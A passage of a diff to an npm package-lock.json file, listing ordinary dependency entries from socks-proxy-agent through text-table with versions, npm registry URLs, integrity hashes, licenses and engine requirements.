"node_modules/socks-proxy-agent": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-7.0.0.tgz", + "integrity": "sha512-Fgl0YPZ902wEsAyiQ+idGd1A7rSFx/ayC1CQVMw5P+EQx2V0SgpGtf6OKFhVjPflPUl9YMmEOnmfjCdMUsygww==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^6.0.2", + "debug": "^4.3.3", + "socks": "^2.6.2" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/socks-proxy-agent/node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", + "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", + "dev": true + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.22", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.22.tgz", + "integrity": "sha512-4PRT4nh1EImPbt2jASOKHX7PB7I+e4IWNLvkKFDxNhJlfjbYlleYQh285Z/3mPTHSAK/AvdMmw5BNNuYH8ShgQ==", + "dev": true + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/ssri": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-9.0.1.tgz", + "integrity": "sha512-o57Wcn66jMQvfHG1FlYbWeZWW/dHZhJXjpIcTfXldXEk5nz5lStPo3mK0OJQfGR3RbZUlbISexbljkJzuEj/8Q==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.1.1" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/ssri/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stack-trace": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz", + "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/stdin-discarder": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.2.2.tgz", + "integrity": "sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/stoppable": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/stoppable/-/stoppable-1.1.0.tgz", + "integrity": "sha512-KXDYZ9dszj6bzvnEMRYvxgeTHU74QBFL54XKtP3nyMuJ81CFYtABZ3bAzL2EdFUaEwJOBOgENyFj3R7oTzDyyw==", + "dev": true, + "engines": { + "node": ">=4", + "npm": ">=6" + } + }, + "node_modules/streamx": { + "version": "2.22.1", + "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.22.1.tgz", + "integrity": "sha512-znKXEBxfatz2GBNK02kRnCXjV+AA4kjZIUxeWSr3UGirZMJfTE9uiwKHobnbgxWyL/JWro8tTq+vOqAK1/qbSA==", + "dependencies": { + "fast-fifo": "^1.3.2", + "text-decoder": "^1.1.0" + }, + "optionalDependencies": { + "bare-events": "^2.2.0" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/string-argv": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz", + "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.6.19" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-dirs": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", + "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-natural-number": "^4.0.1" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/structured-source": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/structured-source/-/structured-source-4.0.0.tgz", + "integrity": "sha512-qGzRFNJDjFieQkl/sVOI2dUjHKRyL9dAJi2gCPGJLbJHBIkyOHxjuocpIEfbLioX+qSJpvbYdT49/YCdMznKxA==", + "dev": true, + "dependencies": { + "boundary": "^2.0.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-3.2.0.tgz", + "integrity": "sha512-zFObLMyZeEwzAoKCyu1B91U79K2t7ApXuQfo8OuxwXLDgcKxuwM+YvcbIhm6QWqz7mHUH1TVytR1PwVVjEuMig==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">=14.18" + }, + "funding": { + "url": "https://github.com/chalk/supports-hyperlinks?sponsor=1" + } + }, + "node_modules/svg-pathdata": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/svg-pathdata/-/svg-pathdata-6.0.3.tgz", + "integrity": "sha512-qsjeeq5YjBZ5eMdFuUa4ZosMLxgr5RZ+F+Y1OrDhuOCEInRMA3x74XdBtggJcj9kOeInz0WE+LgCPDkZFlBYJw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/svg2ttf": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/svg2ttf/-/svg2ttf-6.0.3.tgz", + "integrity": "sha512-CgqMyZrbOPpc+WqH7aga4JWkDPso23EgypLsbQ6gN3uoPWwwiLjXvzgrwGADBExvCRJrWFzAeK1bSoSpE7ixSQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@xmldom/xmldom": "^0.7.2", + "argparse": "^2.0.1", + "cubic2quad": "^1.2.1", + "lodash": "^4.17.10", + "microbuffer": "^1.0.0", + "svgpath": "^2.1.5" + }, + "bin": { + "svg2ttf": "svg2ttf.js" + } + }, + "node_modules/svg2ttf/node_modules/@xmldom/xmldom": { + "version": "0.7.13", + "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.7.13.tgz", + "integrity": "sha512-lm2GW5PkosIzccsaZIz7tp8cPADSIlIHWDFTR1N0SzfinhhYgeIQjFMz4rYzanCScr3DqQLeomUDArp6MWKm+g==", + "deprecated": "this version is no longer supported, please update to at least 0.8.*", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/svgicons2svgfont": { + "version": "10.0.6", + "resolved": "https://registry.npmjs.org/svgicons2svgfont/-/svgicons2svgfont-10.0.6.tgz", + "integrity": "sha512-fUgQEVg3XwTbOHvlXahHGqCet5Wvfo1bV4DCvbSRvjsOCPCRunYbG4dUJCPegps37BMph3eOrfoobhH5AWuC6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^7.2.0", + "geometry-interfaces": "^1.1.4", + "glob": "^7.1.6", + "neatequal": "^1.0.0", + "readable-stream": "^3.4.0", + "sax": "^1.2.4", + "svg-pathdata": "^6.0.0" + }, + "bin": { + "svgicons2svgfont": "bin/svgicons2svgfont.js" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/svgicons2svgfont/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/svgicons2svgfont/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/svgicons2svgfont/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/svgo": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-4.0.0.tgz", + "integrity": "sha512-VvrHQ+9uniE+Mvx3+C9IEe/lWasXCU0nXMY2kZeLrHNICuRiC8uMPyM14UEaMOFA5mhyQqEkB02VoQ16n3DLaw==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^11.1.0", + "css-select": "^5.1.0", + "css-tree": "^3.0.1", + "css-what": "^6.1.0", + "csso": "^5.0.5", + "picocolors": "^1.1.1", + "sax": "^1.4.1" + }, + "bin": { + "svgo": "bin/svgo.js" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/svgo" + } + }, + "node_modules/svgo/node_modules/commander": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-11.1.0.tgz", + "integrity": "sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=16" + } + }, + "node_modules/svgo/node_modules/css-select": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/svgo/node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/svgo/node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "dev": true, + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/svgo/node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/svgo/node_modules/domutils": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/svgo/node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/svgpath": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/svgpath/-/svgpath-2.6.0.tgz", + "integrity": "sha512-OIWR6bKzXvdXYyO4DK/UWa1VA1JeKq8E+0ug2DG98Y/vOmMpfZNj+TIG988HjfYSqtcy/hFOtZq/n/j5GSESNg==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/fontello/svg2ttf?sponsor=1" + } + }, + "node_modules/table": { + "version": "6.9.0", + "resolved": "https://registry.npmjs.org/table/-/table-6.9.0.tgz", + "integrity": "sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==", + "dev": true, + "dependencies": { + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/table/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/table/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/tapable": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz", + "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", + "dev": true, + "engines": { + "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "dev": true, + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tar-fs": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", + "dev": true, + "optional": true, + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.1.4" + } + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dev": true, + "optional": true, + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tar-stream/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "optional": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/tar/node_modules/chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/tar/node_modules/minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=8" + } + }, + "node_modules/terminal-link": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-4.0.0.tgz", + "integrity": "sha512-lk+vH+MccxNqgVqSnkMVKx4VLJfnLjDBGzH16JVZjKE2DoxP57s6/vt6JmXV5I3jBcfGrxNrYtC+mPtU7WJztA==", + "dev": true, + "dependencies": { + "ansi-escapes": "^7.0.0", + "supports-hyperlinks": "^3.2.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/test-exclude": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-7.0.1.tgz", + "integrity": "sha512-pFYqmTw68LXVjeWJMST4+borgQP2AyMNbg1BpZh9LbyhUeNkeaPF9gzfPGUAnSMV3qPYdWUwDIjjCLiSDOl7vg==", + "dev": true, + "license": "ISC", + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^10.4.1", + "minimatch": "^9.0.4" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/test-exclude/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/test-exclude/node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/test-exclude/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/text-decoder": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.3.tgz", + "integrity": "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA==", + "dependencies": { + "b4a": "^1.6.4" + } + }, + "node_modules/text-hex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/text-hex/-/text-hex-1.0.0.tgz", + "integrity": "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg==", + "dev": true + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": 